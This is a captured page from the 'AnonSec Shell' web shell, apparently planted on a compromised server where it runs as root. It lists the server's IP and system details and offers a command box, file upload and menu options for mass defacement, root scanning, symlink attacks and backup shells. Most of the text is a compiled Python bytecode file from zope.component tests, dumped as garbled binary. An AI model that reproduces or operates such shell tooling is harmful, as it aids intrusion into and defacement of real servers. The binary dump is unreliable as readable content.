AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/zope/component/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/zope/component/tests/__pycache__/examples.cpython-310.pyc
o

,�W��@s8dZddlZddlmZddlmZddlmZddlmZddl	m
Z
dd	�ZGd
d�de�ZGdd
�d
e�Z
Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�ZGdd�de�Zee
�Gd d!�d!e��Zee
e�Gd"d#�d#e��Zee
�d$d%��Zd&d'�Zee
�d(d)��Zee
�d*d+��ZGd,d-�d-�Zdd.lm Z e ed/�Z!e!e_"d0d1�Z#ee
�Gd2d3�d3e��Z$e$�Z%ee�Gd4d5�d5e��Z&ee
�Gd6d7�d7e��Z'ee�Gd8d9�d9e��Z(e(d:�Z)ee�Gd;d<�d<e��Z*Gd=d>�d>e�Z+dAd?d@�Z,dS)Bz-Examples supporting Sphinx doctest snippets.
�N)�	Interface)�implementer)�
IInterface)�adapter)�ICcCstj�d|�dS)Nz%s
)�sys�stdout�write��x�r�?/usr/lib/python3/dist-packages/zope/component/tests/examples.pyr	�r	c@�eZdZdS)�	ITestTypeN��__name__�
__module__�__qualname__rrrr
r�rc@r)�I1Nrrrrr
r rrc@r)�I2Nrrrrr
r#rrc@r)�I3Nrrrrr
r&rrc@r)�I4Nrrrrr
r)rrc@r)�IGINrrrrr
r,rrc@r)�IQINrrrrr
r/rrc@r)�ISINrrrrr
r2rrc@r)�ISIINrrrrr
r5rrcGsdS�Nr)�argsrrr
�noop8�r c@seZdZdd�Zdd�ZdS)�UcC�
||_dSr)r)�self�namerrr
�__init__=�
z
U.__init__cCsd|jj|jfS)Nz%s(%s))�	__class__r�r$rrr
�__repr__@sz
U.__repr__N)rrrr&r*rrrr
r";sr"c@r)�U1Nrrrrr
r+C�r+c@r)�U12Nrrrrr
r-Gr,r-cC�td|�dS)Nz
handle1 %s�r	r
rrr
�handle1K�r0cGstdt|��dS)Nzhandle2 )r	�repr)�objectsrrr
�handle2Orr4cCr.)Nz
handle3 %sr/r
rrr
�handle3Rr1r5cCr.)Nz
handle4 %sr/r
rrr
�handle4Vr1r6c@r)�GlobalRegistryNrrrrr
r7Zrr7)�GlobalAdapterRegistry�adapterscCst�td�dS)Nr9)�baser&r7rrrr
�
clear_base`sr;c@�eZdZdd�ZdS)�ObcC�dS)Nz
<instance Ob>rr)rrr
r*fr!zOb.__repr__N�rrrr*rrrr
r=d�r=c@r<)�Ob2cCr>)Nz<instance Ob2>rr)rrr
r*nr!zOb2.__repr__Nr?rrrr
rAlr@rAc@r)�Ob3Nrrrrr
rBqr,rBc@r<)�CompcCr#r��context�r$rErrr
r&wr'z
Comp.__init__N�rrrr&rrrr
rCur@rC�c@r<)�Comp2cCr#rrDrFrrr
r&~r'zComp2.__init__NrGrrrr
rI|r@rIc@s eZdZdZdd�Zdd�ZdS)�ConformsToIComponentLookupzAAllow a dummy sitemanager to conform/adapt to `IComponentLookup`.cCr#r)�sitemanager)r$rKrrr
r&�r'z#ConformsToIComponentLookup.__init__cCsddlm}||ur
|jSdS)zAThis method is specified by the adapter PEP to do the adaptation.r)�IComponentLookupN)�zope.component.interfacesrLrK)r$�	interfacerLrrr
�__conform__�s�z&ConformsToIComponentLookup.__conform__N)rrr�__doc__r&rOrrrr
rJ�srJcCsJddlm}ddl}ddlm}ddlm}|�|�|d|j��dS)Nr)�	XMLConfig)�setUp)�tearDownz	meta.zcml)�zope.configuration.xmlconfigrQ�zope.component�zope.component.testingrRrS�	component)�testrQ�zoperRrSrrr
�	clearZCML�srZr)-rPr�zope.interfacerr�zope.interface.interfacesr�zope.component._declarationr�zope.component.testfiles.viewsrr	rrrrrrrrrr �objectr"r+r-r0r4r5r6r7�zope.component.globalregistryr8r:r9r;r=�obrArBrC�comprIrJrZrrrr
�<module>sb






Anon7 - 2022
AnonSec Team